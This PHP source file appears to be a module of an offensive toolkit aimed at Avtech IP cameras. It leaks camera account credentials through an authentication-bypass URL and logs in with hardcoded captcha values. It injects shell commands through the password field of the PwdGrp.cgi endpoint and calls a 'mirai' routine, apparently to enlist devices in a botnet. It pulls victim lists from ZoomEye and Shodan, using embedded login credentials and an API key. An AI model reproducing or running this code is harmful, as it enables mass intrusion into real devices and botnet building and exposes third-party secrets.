<?php
namespace App\VulBox;

use Exception;
use Jenner\Zoomeye\Query\HostQuery;
use Jenner\Zoomeye\Zoomeye;
use Shodan;

class Avtech extends Base
{
    private $user;
    private $pass;
    private $first = true;

    private function getUser()
    {
        try {
//        $response = $this->http->get('cgi-bin/user/Config.cgi?.cab&action=get&category=Account.*');
            $response = $this->http->get('cgi-bin/user/Config.cgi?/nobody&action=get&category=Account.*');
            $content = $response->getBody();
            if (preg_match('~Account\.User1\.Username=(\w+)\s+Account\.User1\.Password=(\w+)~', $content, $match)) {
                $this->user = $match[1];
                $this->pass = $match[2];
                $this->cli->cyan("{$this->user}:{$this->pass}");
                return true;
            } else {
                $this->user = 'admin';
                $this->pass = 'admin';
                return true;
            }
        } catch (\Exception $e) {
            $this->cli->error($e->getMessage());
            $this->user = 'admin';
            $this->pass = 'admin';
            return true;
        }
    }

    private function postLogin()
    {
        try {
            $response = $this->http->post('cgi-bin/nobody/VerifyCode.cgi', [
                'form_params' => [
                    'account' => base64_encode("{$this->user}:{$this->pass}"),
                    'captcha_code' => 'MD6P',
                    'verify_code' => 'MDeTEu4LkitBg',
                ]
            ]);

            if (strpos($response->getBody()->getContents(), "OK") !== false) {
                return true;
            }
        } catch (\Exception $e) {
            $this->cli->error($e->getMessage());
        }
        return false;
    }

    private function getCookie()
    {
        $cookies = '';
        foreach ($this->http->getConfig('cookies')->toArray() as $cookie) {
            $cookies .= "{$cookie['Name']}={$cookie['Value']}";
        }
        return $cookies;
    }

    protected function exec($cmd)
    {
        $uri = $this->http->getConfig('base_uri');
        $client = new \Swoole\Client(SWOOLE_SOCK_TCP);
        if ($client->connect($uri->getHost(), $uri->getPort() ?? 80, -1)) {
            $params = http_build_query([
                'action' => $this->first ? 'add' : 'update',
                'user' => 'test',
                'pwd' => ";{$cmd};",
                'grp' => 'SUPERVISOR',
                'lifetime' => '5 MIN',
            ]);

            $params = str_replace("+", " ", $params);

            $str = "POST /cgi-bin/supervisor/PwdGrp.cgi HTTP/1.1\r
Host: {$uri->getHost()}:{$uri->getPort()}\r
Connection: keep-alive\r
Content-Length: ".strlen($params)."\r
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36\r
Content-Type: application/x-www-form-urlencoded\r
Cookie: {$this->getCookie()}\r
Accept: */*\r\n\r\n{$params}";

            $client->send($str);

            $str = $client->recv(65535, 1);
            $res = explode("HTTP/1.0 200 OK", $str)[0];
            $client->close();

            $this->first = false;

            $this->cli->cyan(trim($res));
            return $res;
        }

    }

    public function handle()
    {
        if ($this->getUser()) {
            if ($this->postLogin()) {
                $this->cliCmd();
            } else {
                echo 2;
            }
        } else {
            echo 1;
        }
    }

    public function exploit()
    {
        if ($this->getUser()) {
            if ($this->postLogin()) {
                if ($this->mirai()) {
                    $this->log->info($this->base_uri);
                } else {
                    $this->log->error($this->base_uri);
                }
            }
        }
    }

    public static function fromZoomEye()
    {
        $client = Zoomeye::create();
        $client->login("hehe.zhc@gmail.com", 'a123123123');
        $query = new HostQuery();
        $query->setMainWord("avtech");
        foreach (range(1, 50) as $page) {
            $response = $client->hostSearch($query, $page);
            foreach ($response['matches'] as $matchs) {
                $host = "http://{$matchs['ip']}:{$matchs['portinfo']['port']}";
                yield $host;
            }
        }
    }

    public static function fromShodan()
    {
        $client = new Shodan("URWJ37lMOSmL4NVrmAf9KYW0BYHyhUby", TRUE);
        try {
            foreach (range(1, 5) as $page) {
                $results = $client->ShodanHostSearch(array(
                    'query'  => 'Avtech',
                    'fields' => 'ip_str,port',
                    'page'   => $page,
                ));
                foreach ($results['matches'] as $matchs) {
                    $host = "http://{$matchs['ip_str']}:{$matchs['port']}";
                    yield $host;
                }
            }
        } catch (Exception $e) {
            echo $e->getMessage() . "\n";
        }
    }

    public static function fromFile()
    {
        if($fh = fopen(BASE_PATH . "/log/Avtech.log", "r")) {
            while (!feof($fh)) {
//                if (preg_match('~(\d+\.\d+\.\d+\.\d+)\s+(\d+)~', fgets($fh), $matchs)) {
                if (preg_match('~ERROR: (http://\S+)\s+~', fgets($fh), $matchs)) {
                    $host = $matchs[1];
                    yield $host;
                }
            }
            fclose($fh);
        }
    }



}